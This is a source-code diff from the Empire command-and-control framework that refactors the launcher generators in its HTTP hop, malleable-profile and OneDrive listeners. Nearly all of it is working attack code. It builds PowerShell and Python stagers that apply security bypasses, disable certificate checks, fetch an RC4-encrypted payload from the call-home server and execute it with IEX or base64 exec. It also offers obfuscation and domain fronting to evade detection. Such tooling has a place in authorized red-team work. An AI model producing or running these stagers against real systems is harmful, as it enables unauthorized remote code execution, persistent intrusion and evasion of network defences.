"$iv=$data[0..3];$data=$data[4..$data.length];" + stager += "$wc=New-Object System.Net.WebClient;" - # decode everything and kick it over to IEX to kick off execution - stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + if userAgent.lower() == "default": + userAgent = profile.split("|")[1] + stager += f"$u='{ userAgent }';" - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) + if "https" in host: + # allow for self-signed certificates for https connections + stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if userAgent.lower() != "none" or proxy.lower() != "none": + if userAgent.lower() != "none": + stager += "$wc.Headers.Add('User-Agent',$u);" - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager - - if language in ["python", "ironpython"]: - # Python - - launcherBase = "import sys;" - if "https" in host: - # monkey patch ssl woohooo - launcherBase += dedent( - """ - import ssl; - if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context; - """ - ) - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" - log.error(p) + if proxy.lower() != "none": + if proxy.lower() == "default": + stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" + + else: + # TODO: implement form for other proxy + stager += "$proxy=New-Object Net.WebProxy;" + stager += f"$proxy.Address = '{ proxy.lower() }';" + stager += "$wc.Proxy = $proxy;" + + if proxyCreds.lower() == "default": + stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + + else: + # TODO: implement form for other proxy credentials + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + domain = username.split("\\")[0] + usr = username.split("\\")[1] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}', '{password}', '{domain}');" + stager += "$wc.Proxy.Credentials = $netcred;" + + # TODO: reimplement stager retries? + + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" + + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") + + # add the RC4 packet to a cookie + stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");' + stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';$hop='{ listenerName }';" + stager += "$data=$wc.DownloadData($ser+$t);" + stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + + # decode everything and kick it over to IEX to kick off execution + stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) + + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager - if userAgent.lower() == "default": - userAgent = profile.split("|")[1] + if language in ["python", "ironpython"]: + # Python + launcherBase = "import sys;" + if "https" in host: + # monkey patch ssl woohooo launcherBase += dedent( - f""" - import urllib.request; - UA='{ userAgent }';server='{ host }';t='{ stage0 }';hop='{ listenerName }'; - req=urllib.request.Request(server+t); + """ + import ssl; + if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context; """ ) + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + log.error(p) + + if userAgent.lower() == "default": + userAgent = profile.split("|")[1] + + launcherBase += dedent( + f""" + import urllib.request; + UA='{ userAgent }';server='{ host }';t='{ stage0 }';hop='{ listenerName }'; + req=urllib.request.Request(server+t); + """ + ) - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - staging_key, - sessionID="00000000", - language="PYTHON", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") - if proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" - else: - proto = proxy.split(":")[0] - launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n" - - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" - - # add the RC4 packet to a cookie - launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n' - else: - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += dedent( - f""" - proxy_auth_handler = urllib.request.ProxyBasicAuthHandler(); - proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }'); - o = urllib.request.build_opener(proxy, proxy_auth_handler); - o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")]; - """ - ) - else: - launcherBase += "o = urllib.request.build_opener(proxy);\n" + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" else: - launcherBase += "o = urllib.request.build_opener();\n" + proto = proxy.split(":")[0] + launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n" - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=urllib.request.urlopen(req).read();\n" + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy);\n" + + # add the RC4 packet to a cookie + launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n' + else: + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + launcherBase += dedent( + f""" + proxy_auth_handler = urllib.request.ProxyBasicAuthHandler(); + proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }'); + o = urllib.request.build_opener(proxy, proxy_auth_handler); + o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")]; + """ + ) + else: + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "o = urllib.request.build_opener();\n" - # download the stager and extract the IV - launcherBase += listener_util.python_extract_stager(staging_key) + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + # download the stager and extract the IV + launcherBase += listener_util.python_extract_stager(staging_key) - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" - return launcher - else: - return launcherBase + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) - else: - log.error( - "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" ) + launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" + return launcher + else: + return launcherBase + + else: + log.error( + "listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/http_malleable.py b/empire/server/listeners/http_malleable.py index 04272a32b..60c99b817 100644 --- a/empire/server/listeners/http_malleable.py +++ b/empire/server/listeners/http_malleable.py @@ -273,319 +273,309 @@ def generate_launcher( log.error("listeners/template generate_launcher(): no language specified!") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - - port = listenerOptions["Port"]["Value"] - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - stagingKey = listenerOptions["StagingKey"]["Value"] - - # build profile - profile = malleable.Profile._deserialize(self.serialized_profile) - profile.stager.client.host = host - profile.stager.client.port = port - profile.stager.client.path = profile.stager.client.random_uri() + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - if userAgent and userAgent.lower() != "default": - if ( - userAgent.lower() == "none" - and "User-Agent" in profile.stager.client.headers - ): - profile.stager.client.headers.pop("User-Agent") - else: - profile.stager.client.headers["User-Agent"] = userAgent + port = listenerOptions["Port"]["Value"] + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + stagingKey = listenerOptions["StagingKey"]["Value"] - if language == "powershell": - launcherBase = '$ErrorActionPreference = "SilentlyContinue";' + # build profile + profile = malleable.Profile._deserialize(self.serialized_profile) + profile.stager.client.host = host + profile.stager.client.port = port + profile.stager.client.path = profile.stager.client.random_uri() + + if userAgent and userAgent.lower() != "default": + if ( + userAgent.lower() == "none" + and "User-Agent" in profile.stager.client.headers + ): + profile.stager.client.headers.pop("User-Agent") + else: + profile.stager.client.headers["User-Agent"] = userAgent - if safeChecks.lower() == "true": - launcherBase = "If($PSVersionTable.PSVersion.Major -ge 3){" + if language == "powershell": + launcherBase = '$ErrorActionPreference = "SilentlyContinue";' - for bypass in bypasses: - launcherBase += bypass + if safeChecks.lower() == "true": + launcherBase = "If($PSVersionTable.PSVersion.Major -ge 3){" - if safeChecks.lower() == "true": - launcherBase += ( - "};[System.Net.ServicePointManager]::Expect100Continue=0;" - ) + for bypass in bypasses: + launcherBase += bypass - # ==== DEFINE BYTE ARRAY CONVERSION ==== + if safeChecks.lower() == "true": launcherBase += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{stagingKey}');" + "};[System.Net.ServicePointManager]::Expect100Continue=0;" ) - # ==== DEFINE RC4 ==== - launcherBase += listener_util.powershell_rc4() - - # ==== BUILD AND STORE METADATA ==== - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - routingPacketTransformed = profile.stager.client.metadata.transform( - routingPacket - ) - profile.stager.client.store( - routingPacketTransformed, profile.stager.client.metadata.terminator + # ==== DEFINE BYTE ARRAY CONVERSION ==== + launcherBase += ( + f"$K=[System.Text.Encoding]::ASCII.GetBytes('{stagingKey}');" + ) + + # ==== DEFINE RC4 ==== + launcherBase += listener_util.powershell_rc4() + + # ==== BUILD AND STORE METADATA ==== + routingPacket = packets.build_routing_packet( + stagingKey, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + routingPacketTransformed = profile.stager.client.metadata.transform( + routingPacket + ) + profile.stager.client.store( + routingPacketTransformed, profile.stager.client.metadata.terminator + ) + + # ==== BUILD REQUEST ==== + launcherBase += "$wc=New-Object System.Net.WebClient;" + launcherBase += ( + "$ser=" + + helpers.obfuscate_call_home_address( + profile.stager.client.scheme + "://" + profile.stager.client.netloc ) + + ";$t='" + + profile.stager.client.path + + profile.stager.client.query + + "';" + ) - # ==== BUILD REQUEST ==== - launcherBase += "$wc=New-Object System.Net.WebClient;" - launcherBase += ( - "$ser=" - + helpers.obfuscate_call_home_address( - profile.stager.client.scheme - + "://" - + profile.stager.client.netloc + # ==== HANDLE SSL ==== + if profile.stager.client.scheme == "https": + # allow for self-signed certificates for https connections + launcherBase += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + + # ==== CONFIGURE PROXY ==== + if proxy and proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += ( + "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) - + ";$t='" - + profile.stager.client.path - + profile.stager.client.query - + "';" - ) - # ==== HANDLE SSL ==== - if profile.stager.client.scheme == "https": - # allow for self-signed certificates for https connections - launcherBase += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + else: + launcherBase += ( + f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');" + ) + launcherBase += "$wc.Proxy = $proxy;" - # ==== CONFIGURE PROXY ==== - if proxy and proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) + if proxyCreds and proxyCreds.lower() != "none": + if proxyCreds.lower() == "default": + launcherBase += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" else: - launcherBase += ( - f"$proxy=New-Object Net.WebProxy('{ proxy.lower() }');" - ) - launcherBase += "$wc.Proxy = $proxy;" - - if proxyCreds and proxyCreds.lower() != "none": - if proxyCreds.lower() == "default": - launcherBase += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + if len(username.split("\\")) > 1: + usr = username.split("\\")[1] + domain = username.split("\\")[0] + launcherBase += f"$netcred = New-Object System.Net.NetworkCredential(' {usr}', '{password}', '{domain}');" else: - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - if len(username.split("\\")) > 1: - usr = username.split("\\")[1] - domain = username.split("\\")[0] - launcherBase += f"$netcred = New-Object System.Net.NetworkCredential(' {usr}', '{password}', '{domain}');" - - else: - usr = username.split("\\")[0] - launcherBase += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{password}');" + usr = username.split("\\")[0] + launcherBase += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{password}');" - launcherBase += "$wc.Proxy.Credentials = $netcred;" + launcherBase += "$wc.Proxy.Credentials = $netcred;" - # save the proxy settings to use during the entire staging process and the agent - launcherBase += "$Script:Proxy = $wc.Proxy;" + # save the proxy settings to use during the entire staging process and the agent + launcherBase += "$Script:Proxy = $wc.Proxy;" - # ==== ADD HEADERS ==== - for header, value in profile.stager.client.headers.items(): - # If host header defined, assume domain fronting is in use and add a call to the base URL first - # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello - if header.lower() == "host": - launcherBase += "try{$ig=$wc.DownloadData($ser)}catch{};" + # ==== ADD HEADERS ==== + for header, value in profile.stager.client.headers.items(): + # If host header defined, assume domain fronting is in use and add a call to the base URL first + # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello + if header.lower() == "host": + launcherBase += "try{$ig=$wc.DownloadData($ser)}catch{};" - launcherBase += f'$wc.Headers.Add("{ header }","{ value }");' + launcherBase += f'$wc.Headers.Add("{ header }","{ value }");' - # ==== SEND REQUEST ==== - if ( - profile.stager.client.verb.lower() != "get" - or profile.stager.client.body - ): - launcherBase += f"$data=$wc.UploadData($ser+$t,'{ profile.stager.client.verb }','{ profile.stager.client.body }');" + # ==== SEND REQUEST ==== + if ( + profile.stager.client.verb.lower() != "get" + or profile.stager.client.body + ): + launcherBase += f"$data=$wc.UploadData($ser+$t,'{ profile.stager.client.verb }','{ profile.stager.client.body }');" - else: - launcherBase += "$data=$wc.DownloadData($ser+$t);" + else: + launcherBase += "$data=$wc.DownloadData($ser+$t);" - # ==== INTERPRET RESPONSE ==== - if ( - profile.stager.server.output.terminator.type - == malleable.Terminator.HEADER - ): - launcherBase += ( - "$fata='';for ($i=0;$i -lt $wc.ResponseHeaders.Count;$i++){" - ) - launcherBase += f"if ($data.ResponseHeaders.GetKey($i) -eq '{ profile.stager.server.output.terminator.arg }')" - launcherBase += "{$data=$wc.ResponseHeaders.Get($i);" - launcherBase += "Add-Type -AssemblyName System.Web;$data=[System.Web.HttpUtility]::UrlDecode($data);}}" - elif ( - profile.stager.server.output.terminator.type - == malleable.Terminator.PRINT - ): - launcherBase += "" - else: - launcherBase += "" - launcherBase += profile.stager.server.output.generate_powershell_r( - "$data" + # ==== INTERPRET RESPONSE ==== + if ( + profile.stager.server.output.terminator.type + == malleable.Terminator.HEADER + ): + launcherBase += ( + "$fata='';for ($i=0;$i -lt $wc.ResponseHeaders.Count;$i++){" ) + launcherBase += f"if ($data.ResponseHeaders.GetKey($i) -eq '{ profile.stager.server.output.terminator.arg }')" + launcherBase += "{$data=$wc.ResponseHeaders.Get($i);" + launcherBase += "Add-Type -AssemblyName System.Web;$data=[System.Web.HttpUtility]::UrlDecode($data);}}" + elif ( + profile.stager.server.output.terminator.type + == malleable.Terminator.PRINT + ): + launcherBase += "" + else: + launcherBase += "" + launcherBase += profile.stager.server.output.generate_powershell_r("$data") - # ==== EXTRACT IV AND STAGER ==== - launcherBase += "$iv=$data[0..3];$data=$data[4..($data.length-1)];" + # ==== EXTRACT IV AND STAGER ==== + launcherBase += "$iv=$data[0..3];$data=$data[4..($data.length-1)];" - # ==== DECRYPT AND EXECUTE STAGER ==== - launcherBase += "-join[Char[]](& $R $data ($IV+$K))|IEX" + # ==== DECRYPT AND EXECUTE STAGER ==== + launcherBase += "-join[Char[]](& $R $data ($IV+$K))|IEX" - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.obfuscate( - launcherBase, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.obfuscate( + launcherBase, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(launcherBase, launcher) - else: - return launcherBase + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(launcherBase, launcher) + else: + return launcherBase - elif language in ["python", "ironpython"]: - # ==== HANDLE IMPORTS ==== - launcherBase = "import sys,base64\n" - launcherBase += "import urllib.request,urllib.parse\n" + elif language in ["python", "ironpython"]: + # ==== HANDLE IMPORTS ==== + launcherBase = "import sys,base64\n" + launcherBase += "import urllib.request,urllib.parse\n" - # ==== HANDLE SSL ==== - if profile.stager.client.scheme == "https": - launcherBase += "import ssl\n" - launcherBase += "if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context\n" + # ==== HANDLE SSL ==== + if profile.stager.client.scheme == "https": + launcherBase += "import ssl\n" + launcherBase += "if hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context\n" - # ==== SAFE CHECKS ==== - if safeChecks and safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() + # ==== SAFE CHECKS ==== + if safeChecks and safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() - launcherBase += "server='%s'\n" % (host) + launcherBase += "server='%s'\n" % (host) - # ==== CONFIGURE PROXY ==== - if proxy and proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler()\n" + # ==== CONFIGURE PROXY ==== + if proxy and proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler()\n" + else: + proto = proxy.split(":")[0] + launcherBase += ( + "proxy = urllib.request.ProxyHandler({'" + + proto + + "':'" + + proxy + + "'})\n" + ) + if proxyCreds and proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy)\n" else: - proto = proxy.split(":")[0] + launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler()\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] launcherBase += ( - "proxy = urllib.request.ProxyHandler({'" - + proto - + "':'" + "proxy_auth_handler.add_password(None,'" + proxy - + "'})\n" + + "','" + + username + + "','" + + password + + "')\n" ) - if proxyCreds and proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy)\n" - else: - launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler()\n" - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += ( - "proxy_auth_handler.add_password(None,'" - + proxy - + "','" - + username - + "','" - + password - + "')\n" - ) - launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler)\n" - else: - launcherBase += "o = urllib.request.build_opener(proxy)\n" + launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler)\n" else: - launcherBase += "o = urllib.request.build_opener()\n" - # install proxy and creds globaly, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o)\n" - - # ==== BUILD AND STORE METADATA ==== - routingPacket = packets.build_routing_packet( - stagingKey, - sessionID="00000000", - language="PYTHON", - meta="STAGE0", - additional="None", - encData="", - ) - routingPacketTransformed = profile.stager.client.metadata.transform( - routingPacket - ) - profile.stager.client.store( - routingPacketTransformed, profile.stager.client.metadata.terminator - ) + launcherBase += "o = urllib.request.build_opener(proxy)\n" + else: + launcherBase += "o = urllib.request.build_opener()\n" + # install proxy and creds globaly, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o)\n" + + # ==== BUILD AND STORE METADATA ==== + routingPacket = packets.build_routing_packet( + stagingKey, + sessionID="00000000", + language="PYTHON", + meta="STAGE0", + additional="None", + encData="", + ) + routingPacketTransformed = profile.stager.client.metadata.transform( + routingPacket + ) + profile.stager.client.store( + routingPacketTransformed, profile.stager.client.metadata.terminator + ) - # ==== BUILD REQUEST ==== - launcherBase += "vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)})\n" - launcherBase += "req=vreq('{}', {})\n".format( - profile.stager.client.url, - profile.stager.client.body, + # ==== BUILD REQUEST ==== + launcherBase += "vreq=type('vreq',(urllib.request.Request,object),{'get_method':lambda self:self.verb if (hasattr(self,'verb') and self.verb) else urllib.request.Request.get_method(self)})\n" + launcherBase += "req=vreq('{}', {})\n".format( + profile.stager.client.url, + profile.stager.client.body, + ) + launcherBase += "req.verb='" + profile.stager.client.verb + "'\n" + + # ==== ADD HEADERS ==== + for header, value in profile.stager.client.headers.items(): + launcherBase += f"req.add_header('{header}','{value}')\n" + + # ==== SEND REQUEST ==== + launcherBase += "res=urllib.request.urlopen(req)\n" + + # ==== INTERPRET RESPONSE ==== + if ( + profile.stager.server.output.terminator.type + == malleable.Terminator.HEADER + ): + launcherBase += "head=res.info().dict\n" + launcherBase += "a=head['{}'] if '{}' in head else ''\n".format( + profile.stager.server.output.terminator.arg, + profile.stager.server.output.terminator.arg, ) - launcherBase += "req.verb='" + profile.stager.client.verb + "'\n" + launcherBase += "a=urllib.parse.unquote(a)\n" + elif ( + profile.stager.server.output.terminator.type + == malleable.Terminator.PRINT + ): + launcherBase += "a=res.read()\n" + else: + launcherBase += "a=''\n" + launcherBase += profile.stager.server.output.generate_python_r("a") - # ==== ADD HEADERS ==== - for header, value in profile.stager.client.headers.items(): - launcherBase += f"req.add_header('{header}','{value}')\n" + # download the stager and extract the IV + launcherBase += "a=urllib.request.urlopen(req).read();\n" + launcherBase += listener_util.python_extract_stager(stagingKey) - # ==== SEND REQUEST ==== - launcherBase += "res=urllib.request.urlopen(req)\n" - - # ==== INTERPRET RESPONSE ==== - if ( - profile.stager.server.output.terminator.type - == malleable.Terminator.HEADER - ): - launcherBase += "head=res.info().dict\n" - launcherBase += "a=head['{}'] if '{}' in head else ''\n".format( - profile.stager.server.output.terminator.arg, - profile.stager.server.output.terminator.arg, - ) - launcherBase += "a=urllib.parse.unquote(a)\n" - elif ( - profile.stager.server.output.terminator.type - == malleable.Terminator.PRINT - ): - launcherBase += "a=res.read()\n" - else: - launcherBase += "a=''\n" - launcherBase += profile.stager.server.output.generate_python_r("a") - - # download the stager and extract the IV - launcherBase += "a=urllib.request.urlopen(req).read();\n" - launcherBase += listener_util.python_extract_stager(stagingKey) - - if obfuscate: - stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - if isinstance(launchEncoded, bytes): - launchEncoded = launchEncoded.decode("UTF-8") - launcher = ( - "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" - % (launchEncoded) - ) - return launcher - else: - return launcherBase + if obfuscate: + stager = self.mainMenu.obfuscationv2.python_obfuscate(stager) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - else: - log.error( - "listeners/template generate_launcher(): invalid language specification: c# is currently not supported for this module." + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" ) + if isinstance(launchEncoded, bytes): + launchEncoded = launchEncoded.decode("UTF-8") + launcher = ( + "echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('%s'));\" | python3 &" + % (launchEncoded) + ) + return launcher + else: + return launcherBase + + else: + log.error( + "listeners/template generate_launcher(): invalid language specification: c# is currently not supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/onedrive.py b/empire/server/listeners/onedrive.py index 6bead8585..78ed21636 100755 --- a/empire/server/listeners/onedrive.py +++ b/empire/server/listeners/onedrive.py @@ -211,100 +211,90 @@ def generate_launcher( log.error("listeners/onedrive generate_launcher(): No language specified") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listener_options = active_listener.options - - launcher_cmd = listener_options["Launcher"]["Value"] - staging_key = listener_options["StagingKey"]["Value"] - - if language.startswith("power"): - launcher = "" - if safeChecks.lower() == "true": - launcher += "If($PSVersionTable.PSVersion.Major -ge 3){" - - for bypass in bypasses: - launcher += bypass - launcher += ( - "};[System.Net.ServicePointManager]::Expect100Continue=0;" - ) + active_listener = self + # extract the set options for this instantiated listener + listener_options = active_listener.options - launcher += "$wc=New-Object System.Net.WebClient;" + launcher_cmd = listener_options["Launcher"]["Value"] + staging_key = listener_options["StagingKey"]["Value"] - if userAgent.lower() == "default": - profile = listener_options["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - launcher += f"$u='{ userAgent }';" + if language.startswith("power"): + launcher = "" + if safeChecks.lower() == "true": + launcher += "If($PSVersionTable.PSVersion.Major -ge 3){" - if userAgent.lower() != "none" or proxy.lower() != "none": - if userAgent.lower() != "none": - launcher += "$wc.Headers.Add('User-Agent',$u);" + for bypass in bypasses: + launcher += bypass + launcher += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - if proxy.lower() != "none": - if proxy.lower() == "default": - launcher += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) + launcher += "$wc=New-Object System.Net.WebClient;" - else: - launcher += "$proxy=New-Object Net.WebProxy;" - launcher += f"$proxy.Address = '{ proxy.lower() }';" - launcher += "$wc.Proxy = $proxy;" + if userAgent.lower() == "default": + profile = listener_options["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + launcher += f"$u='{ userAgent }';" - if proxyCreds.lower() == "default": - launcher += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" + if userAgent.lower() != "none" or proxy.lower() != "none": + if userAgent.lower() != "none": + launcher += "$wc.Headers.Add('User-Agent',$u);" + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcher += ( + "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" + ) else: - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - domain = username.split("\\")[0] - usr = username.split("\\")[1] - launcher += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" - launcher += "$wc.Proxy.Credentials = $netcred;" - - launcher += "$Script:Proxy = $wc.Proxy;" - - # code to turn the key string into a byte array - launcher += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" - ) + launcher += "$proxy=New-Object Net.WebProxy;" + launcher += f"$proxy.Address = '{ proxy.lower() }';" + launcher += "$wc.Proxy = $proxy;" - # this is the minimized RC4 launcher code from rc4.ps1 - launcher += listener_util.powershell_rc4() + if proxyCreds.lower() == "default": + launcher += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - launcher += f"$data=$wc.DownloadData('{self.stager_url}');" - launcher += "$iv=$data[0..3];$data=$data[4..$data.length];" - launcher += "-join[Char[]](& $R $data ($IV+$K))|IEX" + else: + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + domain = username.split("\\")[0] + usr = username.split("\\")[1] + launcher += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" + launcher += "$wc.Proxy.Credentials = $netcred;" - # 